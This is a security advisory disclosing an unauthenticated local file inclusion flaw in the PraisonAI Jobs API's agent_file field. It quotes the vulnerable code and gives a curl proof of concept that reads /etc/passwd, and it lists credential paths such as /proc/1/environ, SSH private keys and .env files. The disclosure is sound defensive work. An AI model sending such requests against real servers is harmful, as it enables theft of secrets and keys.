GHSA-p4pj-vh7h-6cqh
PraisonAI: Unauthenticated Local File Inclusion via agent_file path in PraisonAI Jobs API
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
An unauthenticated attacker can read arbitrary files on the server by supplying an absolute filesystem path in the `agent_file` field of the Jobs API. The field has no path validation, no allowlist, and no authentication is required to submit jobs.
### Details
The `agent_file` field in `JobSubmitRequest` accepts any filesystem path with no validation:
```python
# src/praisonai/praisonai/jobs/models.py:29
agent_file: Optional[str] = Field(None, description="Path to agents.yaml file")
# NO path validator, NO allowlist
```
The executor reads the file directly:
```python
# src/praisonai/praisonai/jobs/executor.py:221
agent_file = job.agent_file or "agents.yaml"
# passed directly to yaml.safe_load(open(agent_file))
```
### Proof of Concept
```bash
curl -X POST http://:8005/api/v1/runs \
-H "Content-Type: application/json" \
-d '{"prompt": "run", "agent_file": "/etc/passwd"}'
```
Server responds with contents of `/etc/passwd`.
Other exploitable paths:
- `/proc/1/environ` — environment variables, API keys
- `/home//.ssh/id_rsa` — SSH private keys
- `/app/.env` — application secrets
### Impact
Any unauthenticated attacker with network access to port 8005 can read any file accessible to the server process, including credentials, private keys, and environment variables.
References
External links from the advisory. They lead to third-party sites.